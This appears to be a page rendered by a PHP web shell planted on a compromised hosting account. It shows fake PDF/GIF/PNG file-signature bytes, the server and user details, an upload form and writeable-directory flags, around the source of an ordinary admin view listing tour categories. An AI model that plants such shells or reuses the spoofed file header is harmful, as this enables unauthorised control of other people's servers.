%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/public_html/website_1ec2d7c2/apps/views/admin/othercategory/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/public_html/website_1ec2d7c2/apps/views/admin/othercategory/index.php
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="description" content="Creative - Bootstrap 3 Responsive Admin Template">
    <meta name="author" content="GeeksLabs">
    <meta name="keyword" content="Creative, Dashboard, Admin, Template, Theme, Bootstrap, Responsive, Retina, Minimal">
    <link rel="shortcut icon" href="img/favicon.png">

    <title>Manage Categories</title>
    <?php $this->load->view("Element/admin/header_common.php");?>

  </head>

  <body>
  <!-- container section start -->
  <section id="container" class="">
     
      
     <?php $this->load->view("Element/admin/header.php");?>
      
      <!--main content start-->
      <section id="main-content">
          <section class="wrapper">            
              <!--overview start-->
			  <div class="row">
				<div class="col-lg-12">
					<h3 class="page-header"><i class="fa fa-laptop"></i>   Tour Categories  </h3>
					<ol class="breadcrumb">
						<li><i class="fa fa-home"></i><a href="<?=BASE_URL?>admin/dashboard">Home</a></li>
						<li><i class="fa fa-laptop"></i>  Tour Categories  </li>						  	
					</ol>
				</div>
			</div>
              
           
		
			
          <div class="row">
                  <div class="col-lg-12">
                      <section class="panel">
                         <?php
						 
						 
if(validation_errors())
echo'<div class="error" id="FLASH" name="FLASH">'.validation_errors().'</div>';
if($this->session->flashdata("error"))  echo '<div class="normal" id="FLASH" name="FLASH">'.$this->session->flashdata("error").'</div>';

  
  ?> 
  <header class="panel-heading">
                            Tour Categories  
							<br>
							 
							<a style="float:right;margin-bottom:10px;display:none;" class="btn btn-primary admin-buttns " href="<?=BASE_URL?>admin/othercategories/add" title="Add New Category">Add New Category </a>
							
                          </header>
                          
                          <table id="myTable" class="table table-striped table-advance table-hover">
                        
						   <? if(count($Blog_Categories) > 0) { ?>
                               <thead>  <tr>
                                <th>Image</th>
                                 <th>Category Name</th>
                                 <th>Category Description</th>
                                
                                
								
                                
                                 <th> Status</th>
                                 <th> Action</th>
                              </tr>
							       </thead>
							   <tfoot>
							  <tr>
                              <th>Image</th>
                                 <th>Category Name</th>
                                 <th>Category Description</th>
                                
                                
								  
                                 <th> Status</th>
                                 <th> Action</th>
                              </tr>
								</tfoot>
								<tbody>  
                              <?  foreach($Blog_Categories as $BlogCatData) { ?>
                              <tr>
                              <td><?php  $src = $this->image->getImageSrc("listings",$BlogCatData['cat_image'],"");?>
                                           <img src="<?=$src?>" style="width:110px;"/> </td>
                              <td><?=Ucfirst($BlogCatData['category_name']);?> </td>
                                 <td><?=substr($BlogCatData['category_description'],0,250);?> </td>
                               
                               
                               
                                 <td><?=($BlogCatData['status']==1)?'Active':'Pending';?></td>
                               
                                 <td>
                                  <div class="btn-group">
								  
                                      <a class="btn btn-success" href="<?=BASE_URL.'admin/othercategories/edit/'.$BlogCatData['id']?>" onclick="return confirm('Are You Sure to Edit ?');"><i class="icon_check_alt2"></i></a>
									
                                      <a class="btn btn-danger" style="display:none;" href="<?=BASE_URL.'admin/othercategory/delete/'.$BlogCatData['id']?>" onclick="return confirm('Are You Sure to Delete ?');"><i class="icon_close_alt2"></i></a>
								
                                  </div>
                                  </td>
                              </tr>  
							  <? } ?>							  
						  						  
						     </tbody>
							 <?php } else{  ?>
						   <tbody>
								
                                                              
							                               <tr class="odd"><td valign="top" colspan="5" class="dataTables_empty">No records found</td></tr></tbody>
						   <? } ?>		
                        </table>
                      </section>
                  </div>
              </div>
            
		
              <!-- project team & activity end -->

          </section>
         <?php $this->load->view("Element/admin/footer_common.php");?>
      </section>
      <!--main content end-->
  </section>
  <!-- container section start -->

 <?php $this->load->view("Element/admin/footer.php");?>
<script>
 $(document).ready(function(){
    $('#myTable').DataTable();
})
 </script>
  </body>
</html>

VaKeR 2022